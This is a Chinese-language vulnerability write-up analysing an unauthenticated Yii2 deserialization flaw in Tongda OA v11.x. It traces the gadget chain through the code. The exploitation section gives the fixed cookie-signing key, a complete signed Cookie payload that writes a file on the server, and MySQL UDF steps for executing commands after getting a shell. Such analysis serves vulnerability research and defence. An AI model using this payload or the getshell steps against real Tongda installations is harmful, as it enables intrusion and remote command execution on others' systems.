通达OA V11.x 反序列化漏洞分析
快一年没分析过php反序列化了,恰巧前不久看到烽火台实验室发了一个通达oa的yii2反序列化漏洞,就趁这个机会好好学习一下
环境搭建
通达OA v11.10下载地址:https://cdndown.tongda2000.com/oa/2019/TDOA11.10.exe
网站源码部分在 webroot 目录下,使用了 zend 对源码进行加密,可以用 SeayDzend.exe 工具进行解密
安装之后的 php 版本为5.4.45,OA管理员用户名 admin,密码为空
漏洞分析
反序列化触发点
在通达中有一个模块/general/appbuilder/web/index.php
,采用了yii框架实现,并未通过 auth.inc.php 文件来进行鉴权
用?截取url,需要满足url字符串存在/portal/
以及/gateway/
,并且不包含后续关键字即可访问对应的接口,构造
1 | /general/appbuilder/web/portal/gateway/? |
此时会加载视图general/appbuilder/views/layouts/main.php
这里会执行yii\helpers\Html::csrfMetaTags()
方法,该方法的主要作用时用于生成csrf校验需要的meta标签
yii默认开启csrf校验,所以$request->enableCsrfValidation
为true,调用$request->getCsrfToken()
跟进yii\web\Request::getCsrfToken()
$this->_csrfToken
为null时,触发 loadCsrfToken 方法
同样为默认设置public $enableCsrfCookie = true
,跟进 getCookies 方法
跟进 loadCookies 方法
循环遍历$_COOKIE
,并对每个字段的值用Yii::$app->getSecurity()->validateData($value, $this->cookieValidationKey)
校验,如果不为 false 就进行反序列化
在通达OA中的$this->cookieValidationKey
来自于配置文件general/appbuilder/config/web.php
为定值 tdide2
在yii\base\Security::validateData()
方法中会通过 hash_hmac 对传入的key和value进行签名校验,加密方式为sha256
这里截取 Cookie 前半段的hash与 Cookie 后半段的pureData,将pureData hash加密后调用 compareString 与前半段hash值比较,如果相同返回序列化的内容,不同返回false
所以说实际上传进来的值是hash+序列化值
另外通达OA有全局的addslashes过滤,包括Cookie中的值,导致双引号会被转义
看到inc/common.inc.php
如果Cookie中字段名称的前面几位字符为_GET
这种,则不进行addslashes操作
Yii2 反序列化链
由于通达oa解密后的代码会对yii框架部分代码有影响,出现乱码的情况,所以直接去github下载源码:
https://github.com/yiisoft/yii2/releases/tag/2.0.13
https://github.com/yiisoft/yii2-redis/releases/tag/2.0.6
在inc/vendor/yii2/yiisoft/yii2/BaseYii.php
中可以看到 Yii 版本为2.0.13-dev
在inc/vendor/yii2/yiisoft/extensions.php
里面可以看到Yii-redis的版本为2.0.6
而在 Yii2 < 2.0.38 是存在反序列化利用链的,我们来看一下
入口在yii\db\BatchQueryResult
中的__destruct()
方法
可以看到有两种方案,一种是直接调用该对象的close方法,一种是调用无法访问的方法触发__call()
方法
我们这里选择yii\db\DataReader
的 close 方法当跳板
调用无法访问的方法closeCursor ,触发yii\redis\Connection
的__call()
方法
camel2words 这个函数的作用就是将驼峰式命名(camel case)的字符串转换为单词并以空格分隔
1 | public static function camel2words($name, $ucwords = true) |
然后转化为大写后在$this->redisCommands
数组里面即可,设置
1 | $this->redisCommands = ["CLOSE CURSOR"]; |
跟进 executeCommand 方法
跟进 open 方法
这里会执行 stream_socket_client 函数,$this->unixSocket
默认为false,通过tcp连接,$this->hostname
自带的值为 localhost 不用管,$this->port
需要指定为一个能通的端口就行,比如通达默认的数据库端口3336
连接成功后跳过三个if判断,调用到 initConnection() 方法
1 | const EVENT_AFTER_OPEN = 'afterOpen'; |
调用父类yii\base\Component
的 trigger 方法,$name
为定值 afterOpen
需要满足$this->_events["afterOpen"]
不为空,并且为二维数组,才能调用到
1 | call_user_func($handler[0], $event); |
只有第一个参数可控,但是 call_user_func 支持调用一个类里面的方法:https://www.php.net/manual/zh/function.call-user-func
我们选择调用到yii\rest\CreateAction
的 run 方法
即:
1 | $this->_events = ["afterOpen" => [[[new CreateAction(), "run"], "a"]]]; |
最终调用栈:
1 | CreateAction.php:43, yii\rest\CreateAction->run() |
参考:
通达OA反序列化分析
【新】通达OA前台反序列化漏洞分析
漏洞利用
参考Macchiato师傅的POC:
1 |
|
Cookie头传入即可
1 | Cookie: _GET=0df0e27ad82ee48e0e8b8f4dd3d721213d303a557ba317ccb7c29c0419dc575bO%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A1%3A%7Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A17%3A%22yii%5Cdb%5CDataReader%22%3A1%3A%7Bs%3A29%3A%22%00yii%5Cdb%5CDataReader%00_statement%22%3BO%3A20%3A%22yii%5Credis%5CConnection%22%3A4%3A%7Bs%3A13%3A%22redisCommands%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A12%3A%22CLOSE+CURSOR%22%3B%7Ds%3A8%3A%22database%22%3BN%3Bs%3A4%3A%22port%22%3Bi%3A3336%3Bs%3A27%3A%22%00yii%5Cbase%5CComponent%00_events%22%3Ba%3A1%3A%7Bs%3A9%3A%22afterOpen%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22yii%5Crest%5CCreateAction%22%3A2%3A%7Bs%3A11%3A%22checkAccess%22%3Bs%3A6%3A%22assert%22%3Bs%3A2%3A%22id%22%3Bs%3A36%3A%22file_put_contents%28%27test.php%27%2C%27test%27%29%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7Di%3A1%3Bs%3A1%3A%22a%22%3B%7D%7D%7D%7D%7D%7D |
写入的文件路径为/general/appbuilder/web/test.php
Getshell
通达在安装时会默认配置 disable_functions 选项,禁用了常见的命令执行函数,并且通达OA一般都是 Windows 环境,大多数方法都不适用,后续版本中也关闭了COM组件,所以要找到一个新的姿势
1 | var_dump(get_cfg_var("disable_functions")); |
得到
1 | exec,shell_exec,system,passthru,proc_open,show_source,phpinfo,popen,dl,eval,proc_terminate,touch,escapeshellcmd,escapeshellarg |
最终考虑使用 MYSQL UDF 来执行命令
找到通达OA的数据库配置文件webroot/inc/oa_config.php
,通达OA的源码文件默认是加密的,但是配置文件是不加密的
也可以从mysql5/my.ini
内找到 mysql 密码
蚁剑连上数据库,先看一下插件目录
1 | show variables like '%plugin%'; |
然后将 dll 文件上传到mysql5/lib/plugin
目录下,执行
1 | CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; |
成功创建自定义函数并调用命令